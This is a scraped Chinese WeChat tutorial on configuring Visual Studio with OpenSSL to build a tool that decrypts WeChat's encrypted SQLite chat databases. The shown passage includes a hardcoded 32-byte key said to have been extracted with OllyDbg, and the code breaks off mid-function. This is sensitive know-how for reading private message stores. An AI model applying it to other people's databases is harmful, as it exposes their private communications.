src="https://wechat2rss.xlab.app/img-proxy/?k=59fb7482&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmC81iaP6lMxo18P0AAjic32rrPZQRl3Q7rMR71whvXZia7uGf9HcrE20UQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">生成默认的 hello world 代码：</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7672162948593598" data-s="300,640" style="" data-type="png" data-w="1031" src="https://wechat2rss.xlab.app/img-proxy/?k=43938a69&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmXC4GeI6IULDS67KibUmVT5WsOWgl17dATKicoB65E7nP9bRHia4CT0ibwA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">接下是添加openssl附加依赖库，单击 菜单栏的 “项目” --&gt; &#34;dewechatdb属性&#34;：（这个跟设置的项目名称一致）</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3706199460916442" data-s="300,640" style="" data-type="png" data-w="742" src="https://wechat2rss.xlab.app/img-proxy/?k=1c3fdd8e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmeRtXfyhgrhQiaAmvJic7UndQ55nxZo1wzKiahoCGUMUwV3qDIichSxu8nQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5297079556898288" data-s="300,640" style="" data-type="png" data-w="993" src="https://wechat2rss.xlab.app/img-proxy/?k=8d18eae8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnm2Kw7BuqJXYo2U7yTo2CFU3JJJ8OmPqIF2OE2ulvfBsJo7UhianhiaYWw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span style="box-sizing: border-box;"><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">1.配置与平台需要保持一致：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.10596833130328867" data-s="300,640" style="" data-type="png" data-w="821" src="https://wechat2rss.xlab.app/img-proxy/?k=a5771530&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmYbubG2aZcLqEdDfma4FyBVibeVHmtG3PH1ibrxKyNsrlW8o1EzLPsN8w%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;"><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">2.选择 C/C++ 下面的 “常规” --&gt; 配置项 “附加包含目录” ：</span><br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.34822335025380713" data-s="300,640" style="" data-type="png" data-w="985" src="https://wechat2rss.xlab.app/img-proxy/?k=275bfd2c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmVCHIBGqOJJR9uZnVtV5bg0WOEHlJLXk7v2XwDaWFMMKibTkG9GZx7PQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span style="box-sizing: border-box;font-size: 16px;">点击右侧空白处。在下拉框里选择“编辑…”，在对话框中点击四个图标按钮最左侧的“新行”按钮，会生成一个空白行，点击右侧的“…”：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.1815415821501014" data-s="300,640" style="" data-type="png" data-w="986" src="https://wechat2rss.xlab.app/img-proxy/?k=cbd96c49&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnm7xK8vMfn6Frlm44KnpzI1BDTIaib50WkiaqcrEsRIj9o8JiapBBgxqQUQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8660436137071651" data-s="300,640" style="" data-type="png" data-w="642" src="https://wechat2rss.xlab.app/img-proxy/?k=a34a60a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmFB06P5V3t3ncMaBJCbo5guKXehVmOIMCpvf5T1EISxia5haib629s5gw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span style="font-size: 16px;box-sizing: border-box;">在弹出的对话框里选择前面解压的openssl目录（根据自己放目录选择，本文是<code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">D:\tools\openssl-1.0.2r</code>）中的include目录。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6715927750410509" data-s="300,640" style="" data-type="png" data-w="609" src="https://wechat2rss.xlab.app/img-proxy/?k=a3a264f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnm0USCYFt7vlohrncmRtR0ooibhzzBGS4WjaM7tWasZD98j9icvD4FFS3A%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;font-size: 16px;">配置好后如图：</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.1552734375" data-s="300,640" style="" data-type="png" data-w="1024" src="https://wechat2rss.xlab.app/img-proxy/?k=6c9c64f0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmPyBZ7vS18fp5MuRqeBHR0aC4hGvkkr0UZaLUWcHKbAS7pXpPV7LicjQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span style="box-sizing: border-box;"><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">3.选择左侧“链接器”下面的“常规” --&gt; “附加库目录”:</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6339165545087483" data-s="300,640" style="" data-type="png" data-w="743" src="https://wechat2rss.xlab.app/img-proxy/?k=3d191f53&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmTJT25VNRXGzSNv809UGiaLdFDgoLUlq19XOMTTzspjGY3D9CkHOZ8oA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">点击右侧空白处，选择openssl目录下的lib目录，设置完成后如下：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6070038910505836" data-s="300,640" style="" data-type="png" data-w="771" src="https://wechat2rss.xlab.app/img-proxy/?k=652f9100&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmMOd1gr9XicAVgjfdh6e0wb5DKOTXrVMPwp0LJ4niakiaeA43MCPQ6tO1g%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3054968287526427" data-s="300,640" style="" data-type="png" data-w="946" src="https://wechat2rss.xlab.app/img-proxy/?k=7f64049e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmUDtsuTqeL6eK0RoVkbh3j8oEMFgJLQgpSs9EqG4jm6Oa0JDicDhrePw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;"><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">最后点击“链接器--&gt;“输入”：</span></span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.35585585585585583" data-s="300,640" style="" data-type="png" data-w="888" src="https://wechat2rss.xlab.app/img-proxy/?k=74ea73b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmAricHqIRauToic1iayaM5EsOic5Y1rH10gIc6pwib4LfECyExfW5OYWrEuw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">右侧最上面有“附加依赖项”，默认已经有一些系统库，点击右侧内容，选择“编辑…”</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6927374301675978" data-s="300,640" style="" data-type="png" data-w="716" src="https://wechat2rss.xlab.app/img-proxy/?k=bfb068b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmteEnGbricNutyCOe8bISopyPolSibNb53deIibdszx7dP4BIoUrFrP3JQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">添加 </span><span spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">libeay32.lib</code></span><span style="box-sizing: border-box;"> 、</span><span spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">ssleay32.lib</code></span><span style="box-sizing: border-box;"> 依赖项。</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3076923076923077" data-s="300,640" style="" data-type="png" data-w="962" src="https://wechat2rss.xlab.app/img-proxy/?k=9c3c161e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmSKVDMkWEVcd2QL7brt2dEfeXRxITOVehh6G2xxX3RdbkNqbONNNnxA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">到此配置完成。</span><br/></p><h4 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">3.3-编译程序</span></h4><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">复制大佬的源代码：</span></p><pre spellcheck="false" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-position: inherit;background-repeat: inherit;" lang="c++"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">using</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">namespace</span> <span style="box-sizing: border-box;color: rgb(0, 0, 255);">std</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#include &lt;Windows.h&gt;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#include &lt;iostream&gt;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#include &lt;openssl/rand.h&gt;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#include &lt;openssl/evp.h&gt;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#include &lt;openssl/aes.h&gt;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#include &lt;openssl/hmac.h&gt;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#undef _UNICODE</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#define SQLITE_FILE_HEADER &#34;SQLite format 3&#34; </span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#define IV_SIZE 16</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#define HMAC_SHA1_SIZE 20</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#define KEY_SIZE 32</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#define SL3SIGNLEN 20</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#ifndef ANDROID_WECHAT</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#define DEFAULT_PAGESIZE 4096       </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">//4048数据 + 16IV + 20 HMAC + 12</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#define DEFAULT_ITER 64000</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#else</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#define NO_USE_HMAC_SHA1</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#define DEFAULT_PAGESIZE 1024</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#define DEFAULT_ITER 4000</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#endif</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">//pc端密码是经过OllyDbg得到的32位pass。</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 136, 85);">unsigned</span> <span style="box-sizing: border-box;color: rgb(0, 136, 85);">char</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">pass</span>[] <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> { <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x53</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0xE9</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0xBF</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0xB2</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x3B</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x72</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x41</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x95</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0xA2</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0xBC</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x6E</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0xB5</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0xBF</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0xEB</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x06</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x10</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0xDC</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x21</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x64</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x75</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x6B</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x9B</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x42</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x79</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0xBA</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x32</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x15</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x76</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x39</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0xA4</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x0B</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0xB1</span> };</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 136, 85);">char</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">dbfilename</span>[<span style="box-sizing: border-box;color: rgb(17, 102, 68);">50</span>];</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 136, 85);">int</span> <span style="box-sizing: border-box;color: rgb(0, 0, 255);">Decryptdb</span>();</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 136, 85);">int</span> <span style="box-sizing: border-box;color: rgb(0, 0, 255);">main</span>(<span style="box-sizing: border-box;color: rgb(0, 136, 85);">int</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">argc</span>, <span style="box-sizing: border-box;color: rgb(0, 136, 85);">char*</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">argv</span>[])</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">{</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> (<span style="box-sizing: border-box;color: rgb(0, 0, 0);">argc</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&gt;=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">2</span>)    <span style="box-sizing: border-box;color: rgb(170, 85, 0);">//第二个参数argv[1]是文件名</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">strcpy_s</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">dbfilename</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">argv</span>[<span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span>]);  <span style="box-sizing: border-box;color: rgb(170, 85, 0);">//复制    </span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">           <span style="box-sizing: border-box;color: rgb(170, 85, 0);">//没有提供文件名，则提示用户输入</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">else</span> {</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">cout</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;&lt;</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;请输入文件名:&#34;</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;&lt;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">endl</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">cin</span> <span style="box-sizing: border-box;color: rgb(152, 26, 